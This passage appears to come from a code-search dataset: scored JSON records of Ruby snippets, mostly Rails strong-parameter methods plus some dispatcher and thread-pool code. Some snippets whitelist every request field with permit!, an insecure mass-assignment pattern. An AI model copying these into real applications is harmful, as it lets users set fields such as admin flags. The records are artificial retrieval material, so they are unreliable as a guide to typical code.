"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.60627085", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60609823", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050549", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050549", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.6048707", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", "title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046655", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041489", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.6035047", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6031116", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6026374", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021857", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6020392", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017033", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60152805", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.6009228", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007347", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007347", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6004822", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60043067", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6002772", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6001322", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6001322", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6001219", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59995466", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59995466", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.5999472", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.5994765", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5994607", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.59936213", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.5992028", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.5991885", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" } ]
5157b467400d5257c20939ec9fab6e7b
Regulates by locking the dispatcher it if it's full.
[ { "docid": "617b065f136c9063272780798fa6c528", "score": "0.58087647", "text": "def regulate!\n if self.available?\n if @mutex.locked?\n @mutex.unlock\n end\n else\n @mutex.try_lock\n end\n end", "title": "" } ]
[ { "docid": "c101c75f1d8a4c951773ccad7e0fa520", "score": "0.5763914", "text": "def conditional_reacquire\n @store.shift\n @holding_fiber = Fiber.current\n end", "title": "" }, { "docid": "55c722ae546eb185e96e6a4fc4d3b7f8", "score": "0.5678361", "text": "def append_dispatcher(dispatcher)\n\t\tinst = dispatcher.new(self)\n\t\tself.dispatcher_stack.each { |disp|\n\t\t\tif (disp.name == inst.name)\n\t\t\t\traise RuntimeError.new(\"Attempting to load already loaded dispatcher #{disp.name}\")\n\t\t\tend\n\t\t}\n\t\tself.dispatcher_stack.push(inst)\n\n\t\tinst\n\tend", "title": "" }, { "docid": "0180055607e946a44f17e1a88eee64b5", "score": "0.56672287", "text": "def append_dispatcher(dispatcher)\n inst = dispatcher.new(self)\n self.dispatcher_stack.each { |disp|\n if (disp.name == inst.name)\n raise \"Attempting to load already loaded dispatcher #{disp.name}\"\n end\n }\n self.dispatcher_stack.push(inst)\n\n inst\n end", "title": "" }, { "docid": "645a4e2dc6005c75517cb1c55eec5a14", "score": "0.55344176", "text": "def dispatcher\n @dispatcher ||= Dispatcher.new(self)\n end", "title": "" }, { "docid": "b5d7bee463a8768e6bef86c9afb2fa1b", "score": "0.5502937", "text": "def start_dispatcher!\n Tools::Dispatcher.supervise_as :dispatch\n Tools::Retryer.supervise_as :retryer\n end", "title": "" }, { "docid": "df6a3619eaa3291de92ce7ac586954fb", "score": "0.5416161", "text": "def dispatch(&block)\n @queue << block\n end", "title": "" }, { "docid": "b3a71305d2862beecf0644386deeeec2", "score": "0.53887737", "text": "def setup_handler\n self.handlers = {}\n self.closed_handlers = {}\n self.lock = Mutex.new\n end", "title": "" }, { "docid": "dc7cf616102c4ffee9f2f5fdff817cd1", "score": "0.5325549", "text": "def start_method_dispatcher\n return if @dispatcher_thread\n\n @dispatcher_thread = Thread.new { method_dispatcher }\n end", "title": "" }, { "docid": "ed21a9649b18697a3d9c89da7cc104a4", "score": "0.53058445", "text": "def lock!\n @handlers.freeze\n end", "title": "" }, { "docid": "b3326c5cb130068e960cd84c12d8b684", "score": "0.5285756", "text": "def do_dispatch!\n dispatch!\n end", "title": "" }, { "docid": "c9ff648c731e53d0b6f425b1c12e03fc", "score": "0.52845794", "text": "def start_thread\n @dispatch_buffer = []\n @dispatch = false\n\n @dispatcher = Thread.new(self) {\n loop {\n sleep(60) unless @dispatch or closed?\n\n if closed?\n sync {\n @dispatch = false\n @dispatch_buffer.concat @buffer\n @buffer.clear\n }\n post_events\n break\n\n else\n sync {\n @dispatch = false\n @buffer, @dispatch_buffer = @dispatch_buffer, @buffer\n }\n post_events\n end\n } # loop\n } # Thread.new\n end", "title": "" }, { "docid": "5ca2c4201782c666409ce27f3155fa86", "score": "0.5244636", "text": "def enstack_dispatcher(dispatcher)\n\t\tself.dispatcher_stack.unshift(inst = dispatcher.new(self))\n\n\t\tinst\n\tend", "title": "" }, { "docid": "cfff61a26d069611e85e272f7c47117b", "score": "0.5221742", "text": "def dispatcher; DispatcherEventHandler::Buffer.instance; end", "title": "" }, { "docid": "58e66eb06a08eed5700a370c0c7a6459", "score": "0.5193622", "text": "def atomic!\n begin\n Thread.current[:atomizer] = Dispatcher::Atomizer.new\n yield\n Celluloid::Actor[:dispatcher].atomic!(Thread.current[:atomizer])\n ensure\n Thread.current[:atomizer] = nil\n end\n end", "title": "" }, { "docid": "090fcc70d0f65ca807cad82a20fa8315", "score": "0.5133002", "text": "def proceed quietly: false\n return if dispatchers.empty?\n a = dispatchers.last.next\n return if a.nil?\n prepare_buffer quietly\n a.execute\n flush_buffer quietly\n end", "title": "" }, { "docid": "97c02f8ad23578214b998da2c53c1efa", "score": "0.51235795", "text": "def dispatch!\n full_response! if !response_required? || Responder.dispatch_for(self)\n end", "title": "" }, { "docid": "4391d750dd97183e08a526de957861b6", "score": "0.51114255", "text": "def enstack_dispatcher(dispatcher)\n self.dispatcher_stack.unshift(inst = dispatcher.new(self))\n\n inst\n end", "title": "" }, { "docid": "44b86570ab7f8ab519e1732bc97fa9e2", "score": "0.51041013", "text": "def re_enqueue\n self.re_enqueuable = true\n end", "title": "" }, { "docid": "96d39c3db7689af93e1a8099696e2755", "score": "0.50988984", "text": "def flush\n return self if buffer.empty?\n @dispatch = true\n @dispatcher.wakeup if @dispatcher.status == 'sleep'\n self\n end", "title": "" }, { "docid": "b996f97e56619a3f61d2559922bd5f5d", "score": "0.50887775", "text": "def dispatch(*args)\n Thread.new(sleep(1)) do\n # Wait for space in the pool.\n @pool_mutex.synchronize do\n $LOG.debug(\"Pool is presently #{@pool.size}\")\n while @pool.size >= @max_size\n print \"Pool is full; waiting to run #{args.join(',')}...\\n\" if $DEBUG\n # Sleep until some other thread calls @pool_cv.signal.\n @pool_cv.wait(@pool_mutex)\n end\n end\n @pool << Thread.current\n begin\n yield(*args)\n rescue StandardError => e\n exception(self, e, *args)\n ensure\n @pool_mutex.synchronize do\n # Remove the thread from the pool.\n @pool.delete(Thread.current)\n # Signal the next waiting thread that there's a space in the pool.\n @pool_cv.signal\n end\n end\n end\n end", "title": "" }, { "docid": "3206fe1f6c2c352d27c91924d4bfe313", "score": "0.5080873", "text": "def prepare_dispatch!(request, service) \n return request.register_in_progress(service) \n end", "title": "" }, { "docid": "c0e9af9b20922c71d667550785d35c0f", "score": "0.50206697", "text": "def dispatch\n completion = EM::Completion.new\n @queue << lambda do\n begin\n result = yield @resource\n completion.succeed result\n rescue => e\n completion.fail e\n end\n end\n completion\n end", "title": "" }, { "docid": "69d4de7900bb1fa94203673175e81cb1", "score": "0.5017733", "text": "def make_dispatcher(domain, node)\n debug \"Creating dispatcher on '#{domain.name}' for '#{node}'\"\n listener = domain.listen_to_node(node)\n\n @listeners[domain] = @listeners[domain] || []\n @listeners[domain] << listener\n\n @dispatcher_threads << Thread.new {\n begin\n while msg = listener.queue.pop\n if msg == :stop\n break\n end\n # Execute requests in their own thread, so that we can be re-entrant\n Thread.new {\n request = OMF::ServiceCall::XMPP::RequestMessage.from_element(msg)\n # Ignore anything that isn't well-formed\n if not request.nil?\n\n# JW 2010-10-05 Disable the timestamp checking code because we can't rely on the EC\n# machine's clock being properly synchronized.\n\n# timestamp = request.timestamp.to_i\n# now = Time.now.tv_sec\n# if now - timestamp > 30\n# # Ignore stale messages\n# debug \"Ignoring stale message #{request.message_id}\"\n# elsif now < timestamp\n# # Ignore messages from the future\n# debug \"Ignoring future message #{request.message_id}\"\n# else\n\n send_response = true\n\n if true # Accept all messages regardless of timestamp\n sender = request.sender\n message_id = request.message_id\n service = request.service\n method = request.method_name\n\n result = nil\n error_result = nil\n status = nil\n if service.nil? or method.nil?\n if not service.nil?\n service_class = @mounted_services[service]\n\n if method.nil? and not service_class.nil?\n result = service_description(service_class)\n status = \"OK\"\n elsif method.nil? and service_class.nil?\n send_response = false # we don't serve this service, don't respond\n end\n else\n result = all_services_summary\n status = \"OK\"\n end\n else\n arguments = request.arguments\n service_hash = @services[service]\n\n # Ignore requests for unknown services -- another AM might be serving them.\n if not service_hash.nil?\n proc = service_hash[method]\n if proc.nil?\n # return an error response\n error_result = \"#{service}.#{method}: Method not supported\"\n else\n begin\n result = proc.call(arguments)\n rescue Exception => e\n error_result = e.message\n end\n\n if error_result.nil?\n status = \"OK\"\n else\n status = error_result\n end\n end\n else\n send_response = false # we don't serve this service, don't respond\n end\n end\n\n if result == true\n result = nil\n end\n\n if send_response\n response = ResponseMessage.new(\"response-to\" => sender,\n \"message-id\" => message_id,\n \"status\" => status)\n if not result.nil?\n response.set_result(result)\n end\n\n begin\n domain.publish_to_node(node, response)\n rescue Exception => e\n error \"Error sending service-response (for request from #{sender} on node #{node}): #{e.message}\"\n end\n end # send_response\n end # message not stale\n else\n # Ignore messages that are not <service-request/>'s\n end # if not request.nil?\n } # Request execution thread\n\n end # while msg = listener.queue.pop\n rescue Exception => e\n warn \"Received an exception in dispatcher loop for node #{node}: #{e.message}\\n#{e.backtrace}\"\n retry\n end\n info \"Shutting down XMPP dispatcher on '#{domain.name}' node '#{node}'\"\n domain.unlisten(listener)\n }\n end", "title": "" }, { "docid": "c52b95e71508c8e5753761e88baf5bcf", "score": "0.4979813", "text": "def shielded_dispatch(path)\n shield_cache = Cache.shield\n handled = shield_cache[path]\n return handled if handled\n\n dispatched = dispatch(path)\n\n unless trait[:shielded].include?(dispatched.status)\n dispatched\n else\n shield_cache[path] = dispatched\n end\n end", "title": "" }, { "docid": "dda65b94c79d912335855e92e01ecc99", "score": "0.49700496", "text": "def dispatcher\n while not self.write_queue.closed?\n data = self.write_queue.pop\n self.mutex.synchronize do\n sent = 0\n while sent < data.length\n count = [self.chunk_size, data.length-sent].min\n buf = data[sent, count]\n Rex::Proto::SMB::SimpleClient::OpenPipe.instance_method(:write).bind(self).call(buf)\n self.last_comm = Time.now\n sent += count\n end\n end\n end\n end", "title": "" }, { "docid": "306679e634c8aff9dd9607257f229bb1", "score": "0.49634558", "text": "def run_once\n pop_reserve\n run_once_without_pop_reserve\n end", "title": "" }, { "docid": "4d00256bc28c5eafe74e69cd6d4ca76a", "score": "0.49580404", "text": "def refill_key_pool()\n\t\t\t@jr.keypoolrefill()\n\t\tend", "title": "" }, { "docid": "8650bde2e4bbfba81f3e811475b4b0ec", "score": "0.49120888", "text": "def acquire!\n @acquired ||= Sidekiq.redis do |r|\n if timeout\n r.set(name, value, { nx: true, px: timeout })\n else\n r.set(name, value, { nx: true })\n end\n end\n end", "title": "" }, { "docid": "215ec8808e2c838aab2163729e8433b9", "score": "0.49052426", "text": "def dispatcher_start(time)\n TransactionState.get.busy_entries ||= 0\n callers = TransactionState.get.busy_entries += 1\n return if callers > 1\n @lock.synchronize do\n @entrypoint_stack.push time\n end\n end", "title": "" }, { "docid": "1b7d0142a92b64b54fb25069e868b976", "score": "0.48998258", "text": "def fetch\n watchdog('Fetcher#fetch died') do\n return if Fetcher.done?\n\n begin\n job = @reserver.reserve\n\n if job\n @mgr.async.assign(job)\n else\n after(0) { fetch }\n end\n rescue => ex\n log(\"Error fetching message: #{ex}\")\n log(ex.backtrace.first)\n sleep(TIMEOUT)\n after(0) { fetch }\n end\n end\n end", "title": "" }, { "docid": "bf66279dee0a5dcfa2b664f16d7d251d", "score": "0.4894544", "text": "def destack_dispatcher\n\t\tself.dispatcher_stack.shift\n\tend", "title": "" }, { "docid": "abe38198dfc4a84bdfa9cb0f72e9000a", "score": "0.48880485", "text": "def mark_queued_if_empty!\n our_service_ids = self.get_service_definitions.collect {|d| d[\"service_id\"]}\n\n existing_dispatches = umlaut_request.dispatched_services.collect {|d| d.service_id}\n\n not_yet_existing = our_service_ids - existing_dispatches\n\n not_yet_existing.each do |service_id|\n umlaut_request.new_dispatch_object!(service_id, DispatchedService::Queued).save!\n end \n end", "title": "" }, { "docid": "d2cdabc6a0fd47543822c62aa4c74b29", "score": "0.48828018", "text": "def dispatch(name, options)\n options[:dispatched_at] ||= Time.now\n tuple = [:marvin_event, Marvin::Settings.distributed_namespace, name, options, self.client]\n begin\n (@queued_messages ||= []) << tuple\n if self.ring_server.nil?\n size = @queued_messages.size\n if size > 0 && size % 25 == 0\n logger.warn \"Dispatch handler queue is currently holding #{size} items\"\n end\n else\n logger.debug \"Writing #{@queued_messages.size} message to the ring server\"\n @queued_messages.dup.each do |t|\n ring_server.write(t)\n @queued_messages.delete(t)\n end\n end\n rescue\n # Reset the ring finger to the next choice.\n logger.debug \"Ring server unavailable, resetting...\"\n @@rs = nil\n end\n end", "title": "" }, { "docid": "aa67852fbbe9275f87d3033a89d7084d", "score": "0.48814708", "text": "def conditional_release\n @store << true\n @holding_fiber = nil\n end", "title": "" }, { "docid": "cda6f58d126e3c1ce8e6420a8729452f", "score": "0.4879086", "text": "def consume_from_dispatchables?\n true\n end", "title": "" }, { "docid": "83c4bcb3b6f7a2543cbe95b824f35e2d", "score": "0.48755985", "text": "def dispatched_enstacked(dispatcher)\n\t inst = dispatcher.new(self)\n\t self.dispatcher_stack.each { |disp|\n\t if (disp.name == inst.name)\n\t return true\n end\n }\n return false\n end", "title": "" }, { "docid": "83c4bcb3b6f7a2543cbe95b824f35e2d", "score": "0.48755985", "text": "def dispatched_enstacked(dispatcher)\n\t inst = dispatcher.new(self)\n\t self.dispatcher_stack.each { |disp|\n\t if (disp.name == inst.name)\n\t return true\n end\n }\n return false\n end", "title": "" }, { "docid": "6d1dca04d71801133624975b803f8ad7", "score": "0.48687914", "text": "def resurrect!\n Sidekiq::Ultimate::Resurrector::Lock.acquire do\n casualties.each do |identity|\n log(:debug) { \"Resurrecting #{identity}\" }\n\n queues = queues_of(identity).each { |queue| resurrect(queue) }\n cleanup(identity, queues.map(&:inproc))\n end\n end\n rescue => e\n log(:error) { \"Resurrection failed: #{e}\" }\n raise\n end", "title": "" }, { "docid": "b0cbd0174c703359b328ec87e595176d", "score": "0.48659766", "text": "def setup\n @process_dispatcher = SocketThreadDispatcher.new(@process_queue_name)\n nil\n end", "title": "" }, { "docid": "2ba8acd4f26941e5770f02145a18a7fe", "score": "0.48636028", "text": "def queue_update\n @grouped_controller.clear if @grouped_controller\n\n super\n end", "title": "" }, { "docid": "d0d8a57be09c84f1acee939f09d332f1", "score": "0.4853463", "text": "def __provision_actor__\n Task.current.guard_warnings = true\n @mutex.synchronize do\n while @idle.empty?\n # Wait for responses from one of the busy actors\n response = exclusive { receive { |msg| msg.is_a?(Internals::Response) } }\n Thread.current[:celluloid_actor].handle_message(response)\n end\n\n actor = @idle.shift\n @busy << actor\n actor\n end\n end", "title": "" }, { "docid": "802d0bf5b31986e65ceb3ed2e359d464", "score": "0.4833067", "text": "def operations_queue\n request_store[:operations_queue] ||= MagLev::OperationsQueue.new\n end", "title": "" }, { "docid": "463b40c0ccf6c683ce93b2abdafae806", "score": "0.48223007", "text": "def dispatched_enstacked(dispatcher)\n inst = dispatcher.new(self)\n dispatcher_stack.each do |disp|\n return true if disp.name == inst.name\n end\n false\n end", "title": "" }, { "docid": "c338d98b8c6c484e82f3beb0980067f7", "score": "0.48075843", "text": "def refresh\n clear\n load_pools\n true\n end", "title": "" }, { "docid": "5335e323bd3b79f423dea87e59cda678", "score": "0.48016706", "text": "def pool_internal\n @pool_lock.synchronize do\n @pool\n end\n end", "title": "" }, { "docid": "4c21ff6d98518c02b1595ab1944d22c0", "score": "0.48011595", "text": "def fill_the_pool\n size.times { add_worker }\n end", "title": "" }, { "docid": "035b64f4949204a207444fe01efc8708", "score": "0.47929025", "text": "def dispatch\n base.dispatch\n end", "title": "" }, { "docid": "ae37b66f50b18a82aaf5b4029126e430", "score": "0.47909793", "text": "def dispatch\r\n\t\top = @mmu.rb(@register[\"pc\"]++) #Fetch next instruction\r\n\t\t@ops[\"op\"]() #Dispatch operation\r\n\t\t@register[\"pc\"] &= 65535 #Mask PC to 16 bits 2^16 - 1 = 65535\r\n\t\t@clock[\"m\"] += @register[\"m\"] #Add time to CPU clock\r\n\t\t@clock[\"t\"] += @register[\"t\"]\r\n\tend", "title": "" }, { "docid": "da5c7e39c108a8a336b5f23a27348176", "score": "0.47670048", "text": "def queueing_method\n super\n end", "title": "" }, { "docid": "d4746539d06cbe9a701016d5c1f1302c", "score": "0.47620115", "text": "def set_dispatcher\n @dispatcher = Dispatcher.find(params[:id])\n end", "title": "" }, { "docid": "c56375f184e6bec9550faeb60c8ff4ba", "score": "0.47611117", "text": "def destack_dispatcher\n self.dispatcher_stack.shift\n end", "title": "" }, { "docid": "d1f4a00956d1f33b66d819ac6c113f92", "score": "0.4759178", "text": "def overflow_items_controller\n @overflow_manager = QueueOverflow::Manager.new(self, queue_factory, @options[:queue_items_limit])\n\n # In the time, url policy may change so policy is re-evaluated\n @overflow_manager.url_filter do |page|\n should_be_visited?(page.url, false)\n end\n\n Thread.new do\n \n redis_lock = redis_factory_adapter\n op_timeout = @options[:queue_overflow_manager_check_time]\n\n while true\n lock = redis_lock.setnx \"polipus_queue_overflow-#{@job_name}.lock\", 1\n\n if lock\n redis_lock.expire \"polipus_queue_overflow-#{@job_name}.lock\", op_timeout + 350\n removed, restored = @overflow_manager.perform\n @logger.info {\"Overflow Manager: items removed=#{removed}, items restored=#{restored}, items stored=#{queue_overflow_adapter.size}\"}\n redis_lock.del \"polipus_queue_overflow-#{@job_name}.lock\"\n else\n @logger.info {\"Lock not acquired\"}\n end\n\n sleep @options[:queue_overflow_manager_check_time]\n end\n end\n end", "title": "" }, { "docid": "da1016112588fb987f232ef30b275a7a", "score": "0.47560662", "text": "def configure\n return if @queued.nil? || !@queued.is_a?(Hash)\n @data = @queued.clone\n self.refresh(@data)\n @queued = nil\n end", "title": "" }, { "docid": "841446ad18fd0e8ae96208b61ce997c2", "score": "0.47526312", "text": "def reap!\n HotTub.logger.info \"[HotTub] Reaping #{@name}!\" if HotTub.log_trace?\n @mutex.synchronize do\n @_sessions.each_value do |pool|\n break if @shutdown\n pool.reap!\n end\n end\n nil\n end", "title": "" }, { "docid": "54f39a3b069ee3ae2a73a4b3de31172f", "score": "0.47489527", "text": "def synchronize_not_holding\n @store.shift\n begin\n @holding_fiber = Fiber.current\n yield\n ensure\n @holding_fiber = nil\n @store << true\n end\n end", "title": "" }, { "docid": "91872ab327f9c922e31627efa607ee51", "score": "0.47464594", "text": "def put(thread)\n @mutex.synchronize do\n if @pool.size >= @max_idle\n thread[:celluloid_queue] << nil\n else\n clean_thread_locals(thread)\n @pool << thread\n @idle_size += 1\n @busy_size -= 1\n end\n end\n end", "title": "" }, { "docid": "49f54423bf848c89bb28014240ee2912", "score": "0.47445303", "text": "def reserve_if_necessary\n if @on && @connection.connected? && !@reserved && @running.size < @concurrency\n Juggler.logger.debug \"#{to_s}: Reserving\"\n reserve\n end\n end", "title": "" }, { "docid": "a6d1dde25a2250885b3ab2de64604d4b", "score": "0.47391087", "text": "def dispatch\n\t\tnow = Time.now.to_f\n\n\t\t# move \"ready\" work out of the queue\n\t\tready, @queue = @queue.partition {|time, proc| time <= now }\n\n\t\t# call all of the \"ready\" jobs, passing in the time\n\t\tready.each {|time, proc| proc.call( time ) }\n\tend", "title": "" }, { "docid": "50399fd4858cb7b954202071423053e3", "score": "0.47361857", "text": "def refresh_global_cache!\n Sidekiq.logger.debug { \"Refreshing global cache\" }\n\n global_lock do\n Sidekiq.redis do |redis|\n empty_queues = generate_empty_queues(redis)\n\n update_global_cache(redis, empty_queues)\n update_local_cache(empty_queues)\n end\n end\n end", "title": "" }, { "docid": "9651eebd4c1debea3f9f3d4f16868b60", "score": "0.4711397", "text": "def dispatch_services!\n freshen_dispatches!\n mark_queued_if_empty!\n \n dispatch_foreground!\n\n # return main thread for background services.\n return dispatch_background!\n end", "title": "" }, { "docid": "6e60fe55826764b0709b2379f6ac0aca", "score": "0.4711353", "text": "def reap\n @xcache_lock.synchronize do \n @xcache.to_a.each do |dir, xtractr|\n if xtractr.lock.try_lock\n # xtractr is not in use right now\n begin\n if xtractr.last_use + @idle_timeout < Time.new.to_f\n xtractr.stop\n @xcache.delete dir\n end\n ensure\n xtractr.lock.unlock\n end\n end\n end\n end\n end", "title": "" }, { "docid": "9b705df5ea0eb9305f203bab4feeb9eb", "score": "0.46997568", "text": "def setup_raw\n @thread = Thread.current\n @mailbox = Polyphony::Queue.new\n end", "title": "" }, { "docid": "669b6124acd85bac8007fa8d8deb965c", "score": "0.4697287", "text": "def reset()\n @@queues = {}\n end", "title": "" }, { "docid": "e70a955c1a7391120749fa6048de5ef7", "score": "0.46971086", "text": "def reset\r\n synchronize do\r\n unless state == State::READY\r\n raise \"cannot reset unless READY\"\r\n end\r\n \r\n # walk up middleware to find the base of the stack\r\n while @stack.respond_to?(:stack)\r\n @stack = @stack.stack\r\n end\r\n \r\n objects.clear\r\n queue.clear\r\n end\r\n self\r\n end", "title": "" }, { "docid": "58e069e2944e8338ab2598a8721054d9", "score": "0.4694046", "text": "def ensure_full_data!\n reload! unless resource_full?\n end", "title": "" }, { "docid": "58e069e2944e8338ab2598a8721054d9", "score": "0.4694046", "text": "def ensure_full_data!\n reload! unless resource_full?\n end", "title": "" }, { "docid": "2d9a07af3e8000c663e30ca89430d35b", "score": "0.46869344", "text": "def ensure_loaded!\n refresh! unless @last_refresh\n end", "title": "" }, { "docid": "3afbc0aad04bb366cd532c1267042050", "score": "0.4678715", "text": "def prepair_available_resource\n if @available.size > 0\n res = @available.pop\n res.instance_variable_set(\"@__pool_acquire_timestamp\", Time.now)\n\n res\n else\n res = @class_of_resources.allocate\n res.send(:initialize, *@initialization_args)\n res.instance_variable_set(\"@__pool_acquire_timestamp\", Time.now)\n\n res\n end\n end", "title": "" }, { "docid": "2ef37e7b3e8010d0f539076e2c10d90c", "score": "0.46717358", "text": "def dispatch!\n route!\n end", "title": "" }, { "docid": "8a375bdc1ba1cd1f7c5a83fef85c2a3c", "score": "0.46644226", "text": "def perform_reload\n api.queue_reload(self)\n end", "title": "" }, { "docid": "3c9fe7816cbcdddf1ce5060e94c1d5b8", "score": "0.4662684", "text": "def dispatch; end", "title": "" }, { "docid": "3c9fe7816cbcdddf1ce5060e94c1d5b8", "score": "0.4662684", "text": "def dispatch; end", "title": "" }, { "docid": "436ac8be855e1749cf0c8e335db41897", "score": "0.46585763", "text": "def ensure_enqueue\n uniqueness.safe_try_lock_queueing unless uniqueness.queueing_locked?\n return if scheduled? || queued?\n\n Resque::Plugins::Uniqueness.push(queue, class: payload_class.to_s, args: args)\n end", "title": "" }, { "docid": "b1489db5cd8d328a7950b57387541bdd", "score": "0.4656066", "text": "def free_cache_refresh\n @free_cache_lock.synchronize {\n each { |object| __free_cache_update__(object) }\n }\n end", "title": "" }, { "docid": "dbebab0ba2863cc9b55107b480de8a05", "score": "0.4655927", "text": "def setup_processor\n @loadedhandlers = []\n self.set_service_hook do |obj, *args|\n protect_service(obj, *args)\n end\n end", "title": "" }, { "docid": "110fe76f2ad679f0c2f75756e404385b", "score": "0.46539086", "text": "def _update_action_threads_for_gc\n @running_actions_for_gc = @running_actions.dup\n end", "title": "" }, { "docid": "dae6e6d71b5f500442d68653d5b7fc59", "score": "0.4644674", "text": "def worker_fetch_resources\n (resources_count > 0 ) ? fetch_resources : fetch_resources_init\n fetch_resources_detail\n save #update time and resources.count\n end", "title": "" }, { "docid": "cde33ab904a81bfd49118ff5588f3c05", "score": "0.46338966", "text": "def fill\n while not full? \n if item = yield\n enqueue(item)\n else\n break\n end\n end\n end", "title": "" }, { "docid": "cde33ab904a81bfd49118ff5588f3c05", "score": "0.46338966", "text": "def fill\n while not full? \n if item = yield\n enqueue(item)\n else\n break\n end\n end\n end", "title": "" }, { "docid": "330fcb3a8c0d1726e0a805d4446e9d5a", "score": "0.46313566", "text": "def queue_processing\n end", "title": "" }, { "docid": "a58485f0e022af270dd04d4472da0b89", "score": "0.4619945", "text": "def flush!\n @reserved.each do 